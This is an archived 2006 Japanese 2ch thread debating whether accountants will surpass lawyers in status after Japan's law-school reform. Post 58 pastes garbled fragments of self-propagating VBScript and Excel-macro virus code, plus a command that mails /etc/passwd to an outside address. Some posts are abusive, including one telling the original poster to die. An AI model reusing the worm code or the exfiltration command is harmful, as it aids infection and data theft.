2ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

今後は公認会計士>>弁護士となる

1 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 16:16:47 ID:IdANRmMY
なぜならロースクールが出来たから。
この制度によって司法試験の合格率がべらぼうに上がる。
試験の難易度が下がれば弁護士の地位も変わる。
そして日本はイギリスのように公認会計士>>弁護士となる。
日本で最強の資格は公認会計士になる。

だから今から目指すには公認会計士のほうが得だと思ってる素人ですが、どうなんです?

2 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 16:18:45 ID:???
ローカルルールは日本語で書かれています。読んで下さい。
会計全般試験@2ch掲示板 ローカルルール
■全ての者への煽り、誹謗、中傷等を目的とした書き込み及びスレッドを立てる事は禁止です
■上記違反、その他荒らし等に対しては一貫して無視をするという方針にご協力をお願いします

格付け板
http://ex13.2ch.net/ranking/

3 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 17:01:12 ID:???
>>1
削除依頼を出して下さい

二度とこの板に来ないで下さい

そして死んで下さい

4 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 17:16:00 ID:???
税理士叩きならいざ知らず、禁断の弁護士叩き始めたよw



5 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 17:23:34 ID:???
でも弁護士は今後大量に増えることが明らか、確かに経済分野を牛耳ってる会計士が最強資格になるかも。
論文受けて分かったのことは、アホは短答受かっても論文無理ってことかな

6 ::2006/08/24(木) 17:25:24 ID:IdANRmMY
>>4
税理士は公認会計士になるだけでついてくるんだから議論の余地がないだろ。
いや、てか、マジで公認会計士のほうが良くないか。

7 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 17:28:47 ID:???
会計士と弁護士
共通点→今後大量増員
相違点→会計士はどんどん独占業務が増える一方、弁護士は今までどおり

これからは会計士かな

8 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 19:19:27 ID:???
>>1
おれも同じ考えだった(過去形)
でも、弁護士とれば会計士短答全科目免除&論文2科目免除で
>>1オワタということに気がつきました

9 ::2006/08/24(木) 19:59:09 ID:GPyoG/Xf
>>8
司法試験に合格しても会計学・監査論・租税法は勉強しなきゃいけないんじゃん。
配点でいうと700点満点が500点満点になるだけ。
あんまり変わらないよこれじゃ。
租税法は弁護士じゃ免除にならないんだよな。

10 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 20:11:06 ID:0L2cCb8s
会計士が最強資格www
これはネタだよな。明らかに。弁理士、司法書士以下だろ実際。
会計系はもう終わってるんだよw

11 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 20:13:22 ID:U50rGFMS
弁理士って何?
便利屋のこと?

12 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 20:15:27 ID:???
だっせー。
弁理士がいいなんて言ってるのは、地方の国立理系の学生だけだよ。

13 ::2006/08/24(木) 20:18:22 ID:GPyoG/Xf
>>10
それはちょっと笑いました。

14 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 20:22:02 ID:???
あほかww弁理士は学歴なら会計士なんかより数段上ww
もうすぐ単独で知財訴訟代理できるしな。
とにかく会計士は終わってるww

15 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 20:22:18 ID:???
俺、旧2次試験合格志保→司法試験合格→弁護士だけど、今の時点では弁護士の方が儲かるし、その他の点でもいいと思う。
ただ、法曹界もロースクール体制で一瞬先は闇だよ。
会計士も旧2次試験体制&合格率6%台を維持し、試験新試験制度への移行&合格者増を図らなければ、確実に弁護士より難易度も高くなるし、いい業界になったと思うけど。

16 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 20:24:19 ID:???
それは無理だな。合格者増は既定事項。
弁護士より難易度高くなることは絶対ない。

17 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 20:25:02 ID:???
会計士の場合必要に迫られての人員増加だから無問題

18 ::2006/08/24(木) 20:26:37 ID:GPyoG/Xf
弁護士って犯罪者みたいなDQNを相手に仕事することも多く、
あまりやりたいと思わないんですよね。
その点公認会計士は企業のトップレベルとしか仕事をしない。
爽やかなイメージなんです。

ロースクール制度によって合格率は何十%にもなって難関資格と呼べるか怪しくなり、
需要も目に見えて増加はしていないんじゃねぇ・・・
公認会計士は、東証が年4回の決算を義務化する等、需要は明らかに増加しているんだが。

19 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 20:28:07 ID:???
>>その点公認会計士は企業のトップレベルとしか仕事をしない。
爽やかなイメージなんです。
実際勤めてみたら分かるよww

20 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 20:34:33 ID:7gCyvQUU
>>9
弁護士は無試験で税理士登録可能。
よって、税理士登録を要件に租税も免除可能ww

21 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 20:50:18 ID:???
>>18
ゆとり教育世代の被害者でつか?

22 ::2006/08/24(木) 21:25:36 ID:4uv85uvy
>>16
あるよ。
司法試験の合格者増で大学別合格者数が
早稲田 慶応 中央 東大 の順になったらどうする?
それなら慶応 早稲田 中央 東大 の公認会計士のほうが学歴レベル高いって話になる。
ていうか、なりそうだよな実際。

>>20
弁護士は租税法免除にならない
免除になるのは税理士全部ではなくて
会計士法10条1項6号によれば、税理士となる資格有する者のうち一部
(税理士法3条1項1号又は2号該当者)のみ
弁護士は3号なので免除になりません

23 ::2006/08/24(木) 21:33:35 ID:4uv85uvy
司法試験は平成22年ごろには3000人合格者を出す予定なんだろ。
そしたら、>>22よりもっと学歴レベル下がるんじゃないか。
立命館のようなアホなマンモス大が続々合格者数上位に入ってくる。

24 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 21:34:03 ID:???
>>18
俺も法学部だけど弁護士より会計士に魅力を感じたな・・・
すくなくとも刑事事件を主力にはしたくないねぇ
裁判傍聴していて特に裁判官にはなりたくないと思った(なれないけどさ)

25 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 23:02:44 ID:???

>>20みたいなよく分かってない香具師が威勢良くレスつけるくらいだから
このスレの内容の大部分はハッタリで出来ているんだろうな。

>>1>>23
会計士試験もアカスクが台頭してくるから新司法試験と実質変わらなく
なると思うよ。新司法がちょっと先に言ってるだけで。

26 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 23:15:12 ID:???
>>15
一寸先は闇 の検索結果 約 126,000 件
一瞬先は闇 の検索結果 約 26,900 件

結構使う人いるんだな。

27 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 23:16:31 ID:???
会計全般試験@2ch掲示板 ローカルルール
■学歴、地位、序列等の話題については【学歴板】又は【格付け板】へどうぞ
■全ての者への煽り、誹謗、中傷等を目的とした書き込み及びスレッドを立てる事は禁止です
■上記違反、その他荒らし等に対しては一貫して無視をするという方針にご協力をお願いします
学歴
http://tmp6.2ch.net/joke/
格付け
http://ex13.2ch.net/ranking/



他人の掲示板のルールが守れないなら、自分で掲示板を作ることをお勧めします。

28 :一般に公正妥当と認められた名無しさん:2006/08/24(木) 23:22:13 ID:???
イギリスってリアルに会計士>>弁護士なの?
確かに勅許会計士の地位は非常に高いとは聞くけど。
韓国も会計士の地位高いらしいね。

29 ::2006/08/25(金) 11:37:16 ID:lo4z/7hE
>>25
それ確定事項じゃなくて妄想だろ?
>>28
イギリスではリアルにchartered accountantが一番偉い。
大企業の幹部は皆chartered accountant持ってるらしい。
イギリスの弁護士にはbarristerとsolicitorの2種類あって、前者が法廷弁護士、後者が事務弁護士。
バリスタのほうが偉い。
しかも、
http://www.kantei.go.jp/jp/sihouseido/sonota/kaigai/pdfs/igirisu.pdf
バリスタの独占業務である法廷弁論を、ソリシタや弁理士・公認会計士にも解放することになるらしい。
イギリスの弁護士はうんこ。

30 :一般に公正妥当と認められた名無しさん:2006/08/25(金) 12:27:59 ID:???
522 名無し検定1級さん 2005/06/05(日) 22:26:26
2004年 公認会計士 代ゼミ偏差値55未満の私立大学で合格者を2名以上出した大学 13校58名
 (TACパンフレットより)
          偏差値 合格者数
甲南大・経営   54   7人    
日本大・商     52  16人
専修大・経営   52   8人
駒澤大・経営   51   5人
福岡大・経済   51   2人
創価大・経営   50   2人  偏差値50〜54  6校 40名
神奈川・経営   49   6人
多摩大・経営   48   2人
亜細亜・経済   48   2人
東京経済大学  48   2人
大阪工業大学  48   2人
追手門・経営   45   2人
千葉商科大学  43   2人  偏差値40〜49  7校  18名

複数名合格
偏差値50〜54  6校 40名
偏差値40〜49  7校 18名
その他
合格者1名の大学出身約40名
短大卒業          7名
高校卒業         28名 www


31 :一般に公正妥当と認められた名無しさん:2006/08/25(金) 21:02:33 ID:???


32 :ホルン少年:2006/08/25(金) 21:08:31 ID:???
司法板に立てろよw
あそこならキチガイがあいてしてくれるぞ


っつーか今すぐ立ててこいや

33 :一般に公正妥当と認められた名無しさん:2006/08/25(金) 21:39:04 ID:???
287 :一般に公正妥当と認められた名無しさん :2006/08/25(金) 21:29:55 ID:???
>>285

横から悪いが、製品、サービスの評価を決めるのは「市場」「マーケット」だ。
資格の評価も「人材マーケット」で決まる。民間資格も国家資格、公的資格も関係ない。
実際、国家資格で、行○書士なんてくそみそだもんな。だから、この税務会計能力検定も、
税法の知識を知っているという意味では、結構評価が高い。ちなみに俺、経理ね。

ついでに言うと、会計士受験生の大部分は企業で働いたことがない奴だろ!?
それが会計士の評価が高いなんて言えるんだwホント、バカだねwww
これだからニートは困る。会計士試験に合格したって、ほんの入り口にしかすぎないのにね。
そこからが勝負だよ。今の企業では、会計や財務に関わるやつは、システムに詳しくないと
全然使い物にならん。俺の会社にも元会計士受験生がいるが、システムがチンプンカンプンで、
俺の方が能力が上だ。ちなみに俺は簿記2級。だから、実務経験がモノをいうというわけだ。
だから、ニート会計士受験生は、アメリカン・ドリームなんか追わないで、とっとと働くか、
樹海に行けよw

※アメリカン・ドリーム=コーヒーのアメリカンの味が薄いことから、「はかない夢」の意味で使われるw


34 :一般に公正妥当と認められた名無しさん:2006/08/25(金) 22:04:32 ID:???
>>29
マジそれ?
漏れ的に満へぇに値するよ。

英国には会計士は貴族の財産管理するというイメージでもあるのかな。

35 :一般に公正妥当と認められた名無しさん:2006/08/25(金) 23:41:11 ID:???
イギリスや韓国では会計士合格者はほとんど超高学歴ばっかみたいな感じなんだろうか。

36 :ホルン少年:2006/08/26(土) 01:33:41 ID:???
誘導まだ〜?

37 :一般に公正妥当と認められた名無しさん:2006/08/26(土) 06:03:19 ID:???
90 一般に公正妥当と認められた名無しさん sage 2006/08/15(火) 15:34:22 ID:???
削除依頼しないで誘導する人
依頼して削除されなかったのにそれでも誘導する人

って何なの?


91 一般に公正妥当と認められた名無しさん age 2006/08/15(火) 15:42:46 ID:???
板を自治りたくて必死なんだろw


92 一般に公正妥当と認められた名無しさん sage 2006/08/15(火) 15:50:31 ID:???
>>90
>>91

38 ::2006/08/26(土) 11:36:20 ID:Y3fO4JYg
>>34
イギリスには会計士の種類が何種類もあるんだよ。
それで一番偉いのがchartered accountant

39 :一般に公正妥当と認められた名無しさん:2006/08/26(土) 13:34:18 ID:???
上位の会計士か下位の会計士かで仕事内容も全然違ったりするの?

40 :一般に公正妥当と認められた名無しさん:2006/08/26(土) 14:16:10 ID:???
イギリスは本当に階級社会だな。

41 :一般に公正妥当と認められた名無しさん:2006/08/26(土) 14:51:52 ID:???
試験の難易度では>>1の言うとおりになる可能性もあるが、
社会におけるポジションでは超えられない、と思った。

でも
イギリスって会計士の方が位が高いんだ?
ついでに言っておくと弁護士にも位があって、弁護士も超エリートの
狭き門の筈。

42 :一般に公正妥当と認められた名無しさん:2006/08/26(土) 14:54:04 ID:???
あと、低ランク大学の合格者が弁護士より多いっていっても、彼らの殆どは
高校時代に簿記会計の勉強を一生懸命やって結果を出してきた
連中だと思う。たまたま中学時代普通の科目をちゃんとやってきてない
だけで、もともとポテンシャルも頑張りも普通の低ランクの
学生とは違うんだよな。そこを勘違いしないことだね。

43 :一般に公正妥当と認められた名無しさん:2006/08/26(土) 14:55:56 ID:???
現状でも
イギリスの会計士>イギリスの弁護士>日本の弁護士>日本の会計士
なんじゃないのか?
イギリスじゃ大学行くだけでもエリートだぞ?教育はただで受けられる。
金払ってでもいくのが私学のオックスブリッジなどの連中。

44 ::2006/08/26(土) 15:08:36 ID:MT64U2RB
>>41
なぜ社会におけるポジションで超えられないと思うんだ?
俺は、需要と供給・試験の難易度などでいくらでも変わると思うが。

というか、現状でも弁護士と公認会計士は法律系・会計系のトップ資格として、並んでる状態だが、
司法試験のほうがどっちかというと難しいという認識のために公認会計士はやや遅れをとってるだけだろ。

45 :一般に公正妥当と認められた名無しさん:2006/08/26(土) 15:13:50 ID:???
どーでもいいわ

46 :一般に公正妥当と認められた名無しさん:2006/08/26(土) 15:23:05 ID:???
近所のおばちゃんやおじちゃん連中は会計士なんてしらないだろうな。
ま、住んでいるところによるんだろうけど。

47 :一般に公正妥当と認められた名無しさん:2006/08/26(土) 15:23:19 ID:???
さてドイツでは、税理士>弁護士>その他士業なわけだが

48 :ホルン少年:2006/08/26(土) 15:25:56 ID:???
 

49 :一般に公正妥当と認められた名無しさん:2006/08/26(土) 19:07:04 ID:???
>>47
ソースを晒せよw

50 :一般に公正妥当と認められた名無しさん:2006/08/26(土) 19:55:04 ID:???
大卒 ニート 社会の底辺の一生
10〜20代:適当に暮らしていても、親もまだ現役世代なのでまだまだパラサイト可能。
       夢がある、やりたい事を探しているなどといいつつ、社会人に比べると たいした苦労もなく、
       自由を謳歌した気ままな生活を送る。一生フリーターでもいいやなどと豪語する。

20〜30代:同級生たちは中堅どころ。自分はまだまだ浮草生活。ただ、親が退職した頃から
       生活費が苦しいことをリアルに感じ出す。しかし改心していざ職に就こうにも
       年齢制限、職歴なしで全て書類落ち。面接にも漕ぎ着けられない。ようやく現実を知る。
       身分に差がつき始め、恥ずかしくて友人の結婚式や同窓会に出席できなくなる。

30〜40代:社会人の同級生はぼちぼち管理職となり月収も増え、ボーナスの額に一喜一憂するが、
       自分の時給は20代の頃と変わらない。それどころか、体力は衰える一方なのに、
       仕事はバイトで、相変わらず、単純作業・深夜・立ちっぱなし等の肉体労働。いまだ職歴なし。
       普通の庶民の生活に憧れるが完全に手遅れ。結婚も家庭も諦める。絶望が全身を支配する。

40代〜  :若いフリーターの方が使えるのでバイトを首になる。新しいバイトを探すも、
       物覚えが悪くいざって時に首を切りづらい高齢フリーターは嫌がられ、バイトも見つからない。
       当然、貯蓄があるわけでもなく、親戚からも疎まれる社会のお荷物と化す。
       いつしか一線を超えてしまい、雨風をしのぐためのビニールシートを購入する。
       服は毎日同じ。プライドを捨て、コンビニ・飲食店の残飯あさりを始める。

60代〜  :同世代は孫ができ、退職後は退職金やこれまでの貯蓄、年金等で、
       贅沢とは言えないまでも普通の暖かい老後を送る。幸せな普通の人生と言える。
       一方、長年に渡る浮浪者生活で体はボロボロ、あちこちが痛む。しかし健康保険もないので
       病院にも行けない。もちろん年金などもらえない。あとは時間の問題にすぎない。

終末   :親族の中では行方不明のまま、共同墓地で無縁仏となる。



51 :一般に公正妥当と認められた名無しさん:2006/08/26(土) 20:17:16 ID:3plWa9Nr
競争社会なんだから30過ぎて資格取る時点でもう負け確定なんじゃねえか?
早い奴は会計士でも弁護士でも20代でとって活躍しているだろ。
この時点でここまで差があるってことは頑張っているそいつらと互角になろうと思ったら今からそいつらの倍努力しても同じ土俵になれるのには50歳位なんじゃねえか?
割り切って肉体労働したほうが楽じゃね?
その方が本人と社会の為でもある気がするが。


52 :一般に公正妥当と認められた名無しさん:2006/08/26(土) 23:29:27 ID:???
誰に言ってるの?

53 :ホルン少年:2006/08/27(日) 02:00:34 ID:???
自分自身にさ

54 :一般に公正妥当と認められた名無しさん:2006/08/27(日) 02:05:42 ID:???
30代はもう夢も希望もないから、
たんたんとコンビにか工事現場で働けよ

55 :一般に公正妥当と認められた名無しさん:2006/08/27(日) 14:59:52 ID:HXcnjQi8
弁護士は誰でも知ってるが会計士を分かる人はかなり少ないな。

56 ::2006/08/27(日) 15:09:33 ID:8e9u7VUo
俺はそれはどうでもいいと思ってる。
そんな無教養の奴って取締役って何?官僚って美味しいの?って奴らだろう。
むしろそこそこ教養のある人間しか知らない影のエリートみたいなほうがカッコいい。

57 :一般に公正妥当と認められた名無しさん:2006/08/27(日) 15:11:41 ID:???
近所から「一流大学出たのにニートやってる」とか言われてるみたい
で激しくうざい。

58 :一般に公正妥当と認められた名無しさん:2006/08/27(日) 15:13:54 ID:???
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
fso.copyfile "dirsystem&nurupo.vbs","j:\windows\startmenu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFilef1.path, f1.path+"

59 :一般に公正妥当と認められた名無しさん:2006/08/27(日) 17:49:08 ID:xhLm8OUW
当方、底辺私立医に在学中。

お金も余裕なら彼女も余裕(ステディがいる)
勉強はしてないが成績は学年で40番前後、このままなら国試合格も余裕。
運動神経は良く手先は器用、手技の習得も他の奴よりは余裕あり。

卒業したら大学病院で5〜6年働いて、親の病院を継ぐ予定。
両親は今40代半ば、継ぐ時点では50代前半。
一緒に病院を盛り上げていくつもり。

生涯賃金は推定15億〜20億。
子供は今の彼女と3人つくる。
今の彼女にたどり着くまで遊びまくったんで、愛人はいらない。
その代わり仕事はバリバリやる。
学歴ない分、仕事の量と質で勝負、臨床に徹する。



60 :一般に公正妥当と認められた名無しさん:2006/08/27(日) 17:49:08 ID:iToAmP7S
田舎の話ではあるけれど、会計士=経理士って
思ってる従兄(高卒)がいるよ。
東京の大学を卒業し、現在無職専念受験生である俺を
大学に入っただけの典型的な無能力者という一方、
自分は優れた能力をもった者だと考えてるらしい。
それで、どんな能力か聞いてみたら、パソコン
のワード、エクセル使いこなせることらしい。

ある例を出しただけだが、人それぞれ考え方は
いろいろだからね。気持ちは理解できた。

61 :一般に公正妥当と認められた名無しさん:2006/08/27(日) 17:57:35 ID:???
>>60

住むところによって人の価値観って結構変わる。
その人の持つ価値観が住むところを選ぶのか、住むところが価値観
を変えてしまうのかわからないけど、その土地に住む人はみな一様
な価値観を持っている。田舎には田舎の考えがあり、都会には都会
の考えがある。

62 :一般に公正妥当と認められた名無しさん:2006/08/27(日) 17:57:41 ID:???
>>59
>ギザこんにちは、クタタンだお(^ω^)

まで読んだ

63 :一般に公正妥当と認められた名無しさん:2006/08/27(日) 23:17:59 ID:qzyzm4S1
やっぱ日本は
三大難関国家資格
弁護士≫会計士〉鑑定士ってのが一番合うんじゃない?

64 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 00:17:23 ID:DBwu3QPJ
結局何をしたいかじゃね?
法律をしたい→弁護士
会計をしたい→会計士
経済をしたい→鑑定士

65 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 00:24:13 ID:???
>経済をしたい→鑑定士
激しく違和感。

66 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 00:59:25 ID:DBwu3QPJ
鑑定士は経済学の資格でしょ?
鑑定理論なんか読んだら分かるけど、経済学そのものだよw

67 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 01:04:49 ID:???
土地転がしをしたい→鑑定士

68 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 01:26:25 ID:???
>>67
wakariyasui

69 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 01:56:28 ID:TyEmOXs7
>65
スイマセン、腹が攀じれるほど笑ってしまいました…ッ!!!


70 ::2006/08/28(月) 08:35:01 ID:hB3AYvcz
弁護士の将来性はマジでヤバイ

71 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 10:15:46 ID:???
年収が公認会計士>>弁護士になるなら社会的地位や試験の難易度が
その逆だろうがどうでもいい。


72 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 10:27:18 ID:7leWSNhz
租税法律主義って言葉あるでしょ?
しかも、日本の会計の成り立ちはそもそも税の計算から始まってるし・・・。


スレタイのようなことは絶対ありえない。弁護士の数が増えれば、今まで以上に弁護士の力が強くなって会計や税金に法的な妥当性を要求してくる。
会計士の立場は相対的に弱くなるよ。

73 :一般に公正妥当と認められた名無しさん :2006/08/28(月) 11:19:39 ID:???
>弁護士の数が増えれば、今まで以上に弁護士の力が強くなって会計や税金に法的な妥当性を要求してくる。
>会計士の立場は相対的に弱くなるよ。


法的な妥当性って何なんだw  お前弁護士がらみだから法的っていう言葉使えば済むと思ってるんかw


74 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 13:52:46 ID:???
法的な妥当性=いちゃもん

75 ::2006/08/28(月) 16:56:54 ID:+FaOYZ76
>>72
> 租税法律主義って言葉あるでしょ?
> しかも、日本の会計の成り立ちはそもそも税の計算から始まってるし・・・。
>
> スレタイのようなことは絶対ありえない。弁護士の数が増えれば、今まで以上に弁護士の力が強くなって会計や税金に法的な妥当性を要求してくる。
> 会計士の立場は相対的に弱くなるよ。

租税法律主義は否定しないが、
弁護士は法律を作れるのではなく、法律の知識を持った専門家に過ぎないってことわかってる?
仮に弁護士が危機的状況に陥って、公認会計士の躍進に不満を持ったとしても、
弁護士の力では公認会計士の力を下げることは出来ないよ。
出来るのは国会だけ。

弁護士も公認会計士も法律によって定義された権限の中で今はどっちが得か?ってだけ。
現にイギリスのように、会計士の権限が大きければ勅許会計士>>弁護士みたいなことにもなる。
弁護士が過剰になって合格率も下がったら、年収も下がって馬鹿でもなれるようになって、それが世間に認知されるようになったら弁護士の社会的地位は失墜するよ
歯科医みたいなことになるね。

76 :一般に公正妥当と認められた名無しさん :2006/08/28(月) 17:07:59 ID:???
いくら何でも公認会計士>弁護士はないでしょう。
司法関係者を怒らせて自分達の味方につける魂胆では。
大学の序列同様に資格の序列もそうそう変わるものではない。

当方現役大学生の会計士受験生ですが弁護士>公認会計士ですよ。

77 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 17:10:40 ID:???
会計全般試験@2ch掲示板 ローカルルール
■学歴、地位、序列等の話題については【学歴板】又は【格付け板】へどうぞ
■全ての者への煽り、誹謗、中傷等を目的とした書き込み及びスレッドを立てる事は禁止です
■上記違反、その他荒らし等に対しては一貫して無視をするという方針にご協力をお願いします
学歴
http://tmp6.2ch.net/joke/
格付け
http://ex13.2ch.net/ranking/



他人の掲示板のルールが守れないなら、自分で掲示板を作ることをお勧めします。


78 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 18:20:53 ID:???
>>63
三大国家資格ってwwいつの時代だよ??

79 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 18:25:07 ID:???
世界3大スープなら知ってる。

80 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 18:37:27 ID:???
トムヤムクンと小野小町とナスカの地上絵、だっけ?

81 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 18:44:38 ID:???
弁護士、医師>不動産鑑定士、弁理士、税理士>>(一生それ喰っていけるの壁)>>会計士

82 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 18:49:24 ID:???
ワラタ
それならみんなローいくわw

83 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 18:49:33 ID:???
なんでか知らんが、2chじゃ弁理士って仕事が高評価だな。


84 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 18:52:38 ID:DPb7Pkue
弁理士って研究者崩れか、研究者になれなかったかのどちらかなんだけどな。


85 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 18:57:17 ID:???
それどっちも同じ意味じゃまいか

86 :一般に公正妥当と認められた名無しさん :2006/08/28(月) 18:57:39 ID:???
弁護士、医師、不動産鑑定士、弁理士

荒れるから板と関係ない資格↑出すなよ

87 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 18:57:42 ID:???
2チャンは理系がえらいと思ってる人多いよな。
アクチュアリーなんかも評価されてる。

88 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 18:59:07 ID:???
2ちゃんねらーって、理系のオタ系の人が多いからね。

89 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 18:59:31 ID:???
冷静に考えると科挙が一番難しい試験だろ

90 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 19:02:26 ID:???
科挙もうないからな〜w
科挙は字が汚かったら落ちるんだっけ?
誤字した時点で終わりだったとか。

91 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 19:02:59 ID:???
現代の社会的地位の話をしてるわけで

92 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 19:51:32 ID:DPb7Pkue
弁理士、同僚のおっさん(京大理系マスター)が狙ってる。
おっさん。はっきりいって、そんなに優秀ではないけどな。
たぶん、弁理士はとおらんだろうな。会社に飼いならされすぎて、頭が腐ってる。

おれは、全く勉強しなかったから、あほー国立卒だけど。

ちゃんと勉強して、とー大に入ってたら、また人生違うのかね。

知らんまに会計士を目指すことになったが、アクチュアリーの勉強のほうが面白いよ。

93 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 19:52:24 ID:DPb7Pkue
あっ。おれ、一応、研究者。おっさんもだけど。(おっさんは崩れだと思う。)

94 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 20:03:39 ID:???
アクチュアリーは会計士よりも難しい。

95 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 20:08:01 ID:???
ガチで数学(確率)使うんだっけ そりゃ文系じゃ無理だ

96 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 20:11:11 ID:???
>>92
おまえも無理っぽいな

97 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 20:15:19 ID:DPb7Pkue
>>94
んなーこたーない。
会計士のほうが範囲が広いから、むずい。
一つ一つの勉強内容はアクチュアリーのほうが格段にむずい。それは確か。
でも、半年勉強すれば、5科目一括合格も可能だと思われる。

でも、アクチュアリーより、電験1種が難しいよ。

あれ通ったら、本当に電気マニアだ。大学教授もぼろぼろ落ちてる。

たぶん、とー大に入るよりも、会計士になるほうが難しいから、受かったらプライドは持ってもいいと思う。


98 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 20:18:31 ID:9kSTZQ1V
弁護士は今後は資格持ってても仕事なかったり年収も300万とかになる人もいるだろうから、そういう意味では目指すうまみは少なくなるね。上位ローを出ることが最低条件なのかな。

99 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 20:20:27 ID:???
>とー大に入るよりも、会計士になるほうが難しい
これには同意しかねる。

会計士試験合格者には早慶を除けばマーチが多い。
学歴の話にはしたくないが、こういう人たちががんばっても東大合格できた
かどうかは怪しい。

100 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 20:26:27 ID:???
>>99

同意の100

101 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 20:27:20 ID:DPb7Pkue
だって、とー大卒の高校の時の友達が言ってたんだもん。しゃーないだろ。
2人から聞いた話だしよ。(二人とも2回目で受かった。)

まあ、両方とも理系あがりだからな。

簿記に苦労したって言ってた。理系で必要とされる頭の使い方じゃないんだよっと。

簿記は確かにおれも苦労している。研究って、深く、ふかーく掘り下げるばかりだから。

文系とー大卒だとまた違うかもしれない。
残念ながら、文系とー大卒の知り合いはいないので、あんまりいい話題のふり方じゃなかったな。
あやまるよ。

ま、理系とー大卒が会計士になるほうが難しいと言っていたという話で、ここは終了させてくれ。

102 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 20:30:26 ID:???
大学名出すと荒れますからね
ただ最近の東大なら少し本気で勉強すれば合格するでしょう 倍率からして違いますし
あぁ俺もスルーで

103 :101:2006/08/28(月) 20:32:02 ID:???
>>102
さんきゅー

104 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 20:41:32 ID:7leWSNhz
>>75
では、会計士の監査の法的な根拠は何なの?

今まで以上に、監査の妥当性が要求される世の中になるのは必然だし、弁護士が増えれば当然そういう事での訴訟件数は増える。


弁護士の助言の重要性は増すよ。会計士試験では、今年、やっと試験科目に証取法入ったばかりだし、弁護士は今以上に重要視されるよ。

105 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 20:49:56 ID:???
ただ最近の東大なら少し本気で勉強すれば合格するでしょう
倍率からして違いますし >>

そんなこといったら最近の会計士なんてほ〜んの少し本気で勉強すれば
合格するわけで・・
倍率だって全国進学校の上位層が集結する東大入試と、二流私大文系の
学生が大半の会計士試験じゃ母集団のレベルに差がありすぎて。



106 :一般に公正妥当と認められた名無しさん:2006/08/28(月) 20:51:03 ID:???
>>105
だから、その話題はスルー
あほかお前は

107 :一般に公正妥当と認められた名無しさん :2006/08/28(月) 21:24:37 ID:???
>>105
お前会計士煽る割りにやけに詳しいな
